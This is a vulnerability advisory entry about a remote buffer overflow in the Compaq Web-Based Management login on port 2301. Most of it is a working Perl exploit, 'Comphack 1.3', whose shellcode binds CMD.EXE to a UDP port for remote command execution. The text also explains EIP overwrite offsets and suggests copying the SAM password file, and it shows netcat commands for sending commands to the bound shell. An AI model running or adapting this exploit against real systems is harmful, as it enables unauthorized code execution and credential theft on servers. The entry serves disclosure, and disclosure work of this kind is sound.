COMMAND
Compaq Management Agents
SYSTEMS AFFECTED
Compaq Management Agents (Software version 4.70 verified)
PROBLEM
Following is based on a iXsecurity Security Vulnerability Report.
The authentication of Compaq Web-Based Management contains a
remotely exploitable buffer overflow.
Anyone that has access to port 2301 on a Windows NT server can run
arbitrary code as Administrators (like RDS).
http://Server.with.CWBM:2301/cpqlogin.htm is accessible for
everyone by default and contains a remotely exploitable buffer
overflow.
Compaq Management Agents and Compaq Web-Based Management is
installed by default using the SmartStart CD. The Web-Based
Management binds to port 2301 and the java applet (on
http://IP:2301/cpqlogin.htm
that is used for an user to log in, sends username and encrypted
password to
http://IP:2301/Proxy/LoginResponse
Due to the lack of bounds checking, the user name sent to this URL
can be used to overwrite the EIP. This happens when the user name
is exactly 460 bytes long. If the user name is more than 460
bytes, but less than (about) 1500 bytes, another overflow occurs
that we cannot currently exploit. If the user name is over 1500
bytes, an error message is returned! This is interesting, because
it seems like there is *some* kind of bounds checking after all.
It just doesn't work properly. Before the fatal return
instruction, there is a POP EBP, so EBP is also overwritten.
Our initial research indicates that the stack for this process is
always placed at the virtual address 0x00fdffff (on Windows NT
SP3) and growing up towards lower addresses (as usual). At the
moment, we use this fact to do a direct jump to the assumed
beginning of the buffer. Since we are way below 452 bytes, we
use the spare bytes in the beginning for a NOP sled.
With this setup, we have a maximum of 452 bytes to use for the
payload. Barnaby Jack's frequently used (and very nice) payload
vector is closer to 600 bytes, so we take a slightly different
approach. First, we use a datagram socket instead of a stream
socket. That saves us a few bytes. Then we don't use anonymous
pipes and don't return anything to the client. That makes it
less user friendly, but saves us a lot of bytes. Finally, we use
WinExec instead of creating a cmd.exe process. This saves some
bytes. Eventually this affects our rights, but we can at least
still run rdisk and copy the sam file. That takes us a long way
in proof-of-concept terms.
Using this approach we are aldready way below our 453 byte limit.
Actually this code is about 256 bytes. Happy about reaching the
goal directly, we have not even tried to optimized the code.
Therefore it will be easy to get it even smaller if it is
necessary. Drop us a line if you do it or if you need any help
to do it.
This Perl script uses MD5. This code is using direct jumps. It
may not work on your system. It has only been tested on Windows
NT SP3 and SP6a. When investigating iXsecurity found the password
hash algorithm. This algorithm is used in the code to create
logon cookies. iXsecurity have written a Compaq cookie password
cracker using this algorith.
#!/usr/bin/perl
$ver = "Comphack 1.3 -- iXsecurity Sweden, December 2000";
$code = "Ian Vitek, ian.vitek\@ixsecurity.com";
$asm = "Anders Ingeborn, ingeborn\@ixsecurity.com";
$spam = "We are now hiring in Sweden and United Kingdom";
$|=1;
use MD5;
use Socket;
require 'getopts.pl';
# Modified Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {
# this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S);
$|=1;
print $pstr;
sleep 20 if($exp);
while(<S>){ push @in, $_;}
# Messing up FH 8) Dirty? Yupp!
# Try to figure out why
# Clue: Windows
select($undef);
close(S);
return @in;
} else { die("\n Can't connect...\n"); }
}
Getopts('s:p:P:m:h');
print "\n$ver\n Perlcode: $code\n ASM code: $asm\n";
die " $spam\n\
usage: $0 -s <host> [options] \
\t-s <host> Host with Compaq Web Manager\
\t-p <port> Port (Def: 2301)\
\t-P <port> CMD.EXE port (Def: 23001)\
\t-m [3|6] Service Pack (Def: 3)\
\t-h This help\n\
Then send commands to port 23001/udp like this:\
echo \"cmd /c mkdir c:\\iXsecurity\" | nc -u <host> 23001\n\n" if ( $opt_h || ! $opt_s || ! ( $opt_m==3 || $opt_m==6 || $opt_m eq "" ) );
$httphead="Referer: http://${opt_s}:2301/\
Connection: Keep-Alive\
User-Agent: Mozilla/4.73 [en] (X11; U; Linux 2.2.16 i686)\
Host: ${opt_s}:2301\
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\
Accept-Encoding: gzip\
Accept-Language: en\
Accept-Charset: iso-8859-1,*,utf-8";
$opt_p = 2301 if(!$opt_p);
$port = $opt_p;
$opt_P = 23001 if(!$opt_P);
$opt_P=$opt_P % 65536;
die " int(CMDport/256) or (CMDport % 256) may not be 65!\n\n" if
(int($opt_P/256)==65 || ($opt_P % 256)==65);
$var1=int($opt_P/256) ^ 65;
$var2=($opt_P %256) ^ 65;
$CMDport=sprintf("%s%s",chr($var1),chr($var2));
$target = inet_aton($opt_s);
$r = "\x0D\x0A";
$opt_m = 3 if(!$opt_m);
$offset="\xfd";
$offset="\xfa" if($opt_m==6);
$m = $opt_m;
$exp=0;
## NOP sled
$payload = "";
$i = 0;
while( $i++ <= 207 )
{
$payload .= "\x90";
}
$payload .= "\xbc\x41\x54\xf6$offset"; #qd4
$payload .= "\xc1\xec\x08"; #qd4
$payload .= "\xc1\xed\x08"; #qd3
$payload .= "\x31\xc9";
$payload .= "\x81\xc1\x41\x41\x41\x52";
$payload .= "\xc1\xe9\x18";
$payload .= "\x80\x74\x29\x01\x41"; #qd1
$payload .= "\xe2\xf9";
$payload .= "\x8d\x45\x02";
$payload .= "\x50";
#LoadLibrary
if( $m == "3" ) #NT4SP3
{ $payload .= "\xb8\x56\x37\xf1\x77"; }
if( $m == "5" ) #NT4SP5
{ $payload .= "\xb8\xc9\x37\xf1\x77"; }
if( $m == "6" ) #NT4SP6
{ $payload .= "\xb8\xbd\x37\xf1\x77"; }
$payload .= "\xff\xd0";
$payload .= "\x89\xc3";
#GetProcAddress
if( $m == "3" ) #NT4SP3
{ $payload .= "\xbe\x57\x3f\xf1\x77"; }
if( $m == "5" ) #NT4SP5
{ $payload .= "\xbe\xca\x3f\xf1\x77"; }
if( $m == "6" ) #NT4SP6
{ $payload .= "\xbe\xb3\x3f\xf1\x77"; }
$payload .= "\x8d\x45\x09"; #qd2
$payload .= "\x40"; #qd2
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\xd6";
$payload .= "\xab";
$payload .= "\x8d\x45\x11";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\xd6";
$payload .= "\xab";
$payload .= "\x8d\x45\x16";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\xd6";
$payload .= "\xab";
$payload .= "\x8d\x45\x1f";
$payload .= "\x50";
#LoadLibrary
if( $m == "3" ) #NT4SP3
{ $payload .= "\xb8\x56\x37\xf1\x77"; }
if( $m == "5" ) #NT4SP5
{ $payload .= "\xb8\xc9\x37\xf1\x77"; }
if( $m == "6" ) #NT4SP6
{ $payload .= "\xb8\xbd\x37\xf1\x77"; }
$payload .= "\xff\xd0";
$payload .= "\x89\xc3";
$payload .= "\x8d\x45\x28";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\xd6";
$payload .= "\xab";
$payload .= "\x31\xc0";
$payload .= "\x50";
$payload .= "\x40";
$payload .= "\x40";
$payload .= "\x50";
$payload .= "\x50";
$payload .= "\xff\x57\xf0";
$payload .= "\x89\xc3";
$payload .= "\x6a\x10";
$payload .= "\x8d\x45\x30";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\x57\xf4";
$payload .= "\x8d\x45\x50";
$payload .= "\x50";
$payload .= "\x8d\x45\x40";
$payload .= "\x50";
$payload .= "\x31\xc0";
$payload .= "\x50";
$payload .= "\x6a\x7f";
$payload .= "\x8d\x07";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\x57\xf8";
$payload .= "\x3c\x06";
$payload .= "\x0f\x8e\xe4\xff\xff\xff";
$payload .= "\x80\x64\x07\xff\x01";
$payload .= "\x8d\x07";
$payload .= "\x50";
$payload .= "\xff\x57\xfc";
$payload .= "\x39\xc0";
$payload .= "\x0f\x84\xd1\xff\xff\xff";
#data xor:ed with A
$payload .= "\x36\x32\x2e\x22\x2a\x72\x73\x41";
$payload .= "\x32\x2e\x22\x2a\x24\x35\x41";
$payload .= "\x23\x28\x2f\x25\x41";
$payload .= "\x33\x24\x22\x37\x27\x33\x2e\x2c\x41";
$payload .= "\x2a\x24\x33\x2f\x24\x2d\x72\x73\x41";
$payload .= "\x16\x28\x2f\x04\x39\x24\x22\x41";
$payload .= "\x43\x41";
# CMDport xored with x41x41
$payload .= $CMDport;
$payload .= "\x41\x41\x41\x41";
$payload .= "\x41\x41\x41\x41\x41\x41\x41\x41";
$payload .= "\x41\x41";
$payload .= "\x41\x41";
$payload .= "\x41\x41\x41\x41";
$payload .= "\x41\x41\x41\x41\x41\x41\x41\x41";
$payload .= "\x51\x41\x41\x41";
$ebp = "\x41\xc4\xf7$offset";
# Try to do a direct jump, cross your fingers
$eip = "\x54\xf6$offset\x00";
$payload = $payload.$ebp.$eip;
print "\n Init by logging in as ixsecurity:is_hiring\n";
print " Trying to bind CMD.EXE to UDP port $opt_P\n";
print " Wait 10 seconds. Try then the command:\n";
print " echo \"cmd /c mkdir c:\\cim_bo\" | nc -u $opt_s $opt_P\n";
&cpqlogin("ixsecurity","is_hiring");
&sendexp;
sub cpqlogin {
$cpquser=$_[0];
$cpqpass=$_[1];
# Get loginpage and cookie
@res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r");
foreach $line (@res) {
if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {
# Rebuild cookie to password respond
$tmp=$2; $tmp++;
$ccoo="$1$tmp$3";
}
}
$stringUserPass=$cpquser . ":" . $cpqpass;
$md5StringUserPass=uc MD5->hexhash($stringUserPass);
$loginCookie1=$ccoo . $cpquser . $md5StringUserPass;
$md5LoginCookie=uc MD5->hexhash($loginCookie1);
$ccoo.=$md5LoginCookie;
# Login
@res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie: ${ccoo}${r}Compaq-WBEM-UserName: $cpquser$r$r");
foreach $line (@res) {
if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {
$ccoon="$1$2$3";
}
}
sleep 2;
# Do some surfing
@res = sendraw("GET / HTTP/1.0${r}${httphead}${r}Cookie: $ccoon$r$r");
sleep 2;
}
sub sendexp {
# Get loginpage and fresh cookie
@res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r");
foreach $line (@res) {
if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {
# Rebuild cookie to password respond
$tmp=$2; $tmp++;
$ccoo="$1$tmp$3";
}
}
$stringUserPass="iXsecurity" . ":" . "iXsecurity";
$md5StringUserPass=uc MD5->hexhash($stringUserPass);
$loginCookie1=$ccoo . "iXsecurity" . $md5StringUserPass;
$md5LoginCookie=uc MD5->hexhash($loginCookie1);
$ccoo.=$md5LoginCookie;
$exp=1;
# Send buffer...
@res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie: ${ccoo}${r}Compaq-WBEM-UserName: $payload$r$r");
die " $0 failed!\n\n" if($res[0]=~/HTTP/);
die " Port $opt_P is now closed or $0 failed!\n\n";
}
SOLUTION
Compaq Advisory located:
http://www.compaq.com/products/servers/management/agentsecurity.html